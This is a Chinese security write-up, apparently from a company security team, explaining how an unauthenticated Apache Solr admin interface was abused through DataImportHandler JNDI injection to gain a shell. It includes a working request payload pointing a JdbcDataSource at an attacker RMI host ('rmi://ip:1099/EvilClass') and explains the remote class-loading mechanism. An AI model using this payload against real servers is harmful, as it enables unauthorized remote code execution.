记一次由Solr未授权造成的JNDI注入getshell
前言
“FSRC经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL推行、等保合规、自研工具等。
欢迎各位安全从业者持续关注~
1关于Solr
Solr是基于Apache Lucene构建的流行,快速,开源的企业搜索平台,搜索引擎duckduckgo就使用的Solr进行检索。
它是一个Java Web App,基于已有的xml、json和http标准,提供简单的类似REST的服务, 通过输入json、xml、csv等存储数据,通过html请求返回结构化数据。
Solr与APP的集成如下:
Solr认证页
Solr Admin页面
Query页面
2JNDI与LDAP&RMI
RMI(Remote Method Invocation,远程方法调用) 是分布式编程中的一个基本思想。Java RMI是Java的远程方法调用机制,将java对象(real Java objects)作为参数传递,并将Java对象作为返回值,实现了对远程对象的refer。
LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,以树状结构组织数据,类似易读难写的数据库。
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是由SUN提供的标准Java命名系统接口。
JNDI架构:
JNDI提供的两种服务:
Naming Service:绑定名称(name)与值,通过find/search操作根据名称查找对象,例如DNS,通过命名服务器提供服务。(RMI)
Directory Service:特殊的naming service,存储和搜索目录(directory),而目录是一个类似树的分层结构库。(LDAP)
所以JNDI可以理解为通过name寻找对象的Java api。
以连接数据库为例:JNDI通过在j2ee容器中配置参数,定义数据源并设定名称,然后通过数据源名称来访问数据库。
3Solr未授权&JNDI注入漏洞
做内网资产盘点时发现许多后台系统的服务器有一旁站含有search字样,打开发现是Solr的远古版本并且没有配置admin ui鉴权
通过调用DataImportHandler的handleRequestBody方法,处理full-import请求重置DataImportHandler配置
通过构造请求中配置的数据源(dataSource)指定JdbcDataSource使用JNDI,接着跟踪getFromJndi方法,执行InitialContext类的lookup方法触发注入
根据Solr支持的dataSource不同类型有不同的注入手法,简单列举一下dataSource支持的类型:
JdbcDataSource:默认,数据库源
URLDataSource:通常结合XPathEntityProcessor从file://、http://、 ftp://位置获取文本数据源
HttpDataSource:在Solr1.4中被弃用,与URLDataSource除了名称其余一样
FileDataSource:从磁盘文件获取内容,使用类似URLDataSource
FieldReaderDataSource:处理DB字段包含xml并且需要嵌套XpathenticyProcessor来处理字段内容
ContentStreamDataSource:将post数据作为数据源,适用于任何数据源
本文只介绍了利用JNDI也就是数据源是JdbcDataSource的手法,其余利用
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=XXXmy_coreXXX&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="JdbcDataSource"
jndiName="rmi://ip:1099/EvilClass" />
<document>
<entity name="test">
</entity>
</document>
</dataConfig>
4注入原因分析
Why JNDI?
因为JNDI与传统通过jdbc uri连接数据库不同,在数据库变更时不必修改数据库的uri,不必修改jdbc驱动包/类,通过j2ee容器管理配置。
为什么这种封装带来了新的漏洞?这个问题源于动态协议转换与Java的Naming Reference。如:
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://ip:port");
Context ctx = new InitialContext();
ctx.lookup("rmi://ip:port/hello"); //or ctx.lookup("hello");
当lookup参数可控时,即使服务端提前配置了Context.PROVIDERURL属性,如果lookup方法的参数是uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDERURL设置的地址去加载对象。这便是动态协议转换。
那为什么远程加载的对象会被执行?原因就是Reference类。
Java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能。通过引用Reference类绑定远程对象。当客户端在lookup()查找这个远程对象时,获取一个Reference的stub,当本地classpath不存在类时就会动态加载远程类,并调用无参构造函数。因此将恶意语句写在构造方法中,当被实例化时,类的初始化方法就会被触发。或者利用java的static代码块执行类的恶意方法。
这也是为什么注入执行在受害者处而不是攻击者起的服务端。攻击者的服务端(例如RMI服务)返回Reference,Reference包含的恶意类被加载并实例化,类中的构造方法或静态代码块被执行,最终RCE。
5免责声明
6参考资料
RMI
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
LDAP
http://www.ldap.org.cn/
Solr
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html
LDAP&RMI server
https://github.com/mbechler/marshalsec
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
随时掌握互联网精彩
- 1 这本书,智利总统带到秘鲁的会见厅 7949712
- 2 一个金镯子省出1200元 金价真跌了 7966266
- 3 胖东来:员工不许靠父母买房买车 7859914
- 4 世界互联网大会有哪些新看点? 7721733
- 5 药监局:认定百雀羚不存在违规行为 7606847
- 6 医院CT等收费将执行新规 7506716
- 7 19岁孤儿被骗到郑州4天没吃没喝 7425329
- 8 29岁抗癌博主“一只羊吖”去世 7372281
- 9 搞钱色权色交易 王昊被“双开” 7296198
- 10 科技与文化融合的“赛博”水乡 7121496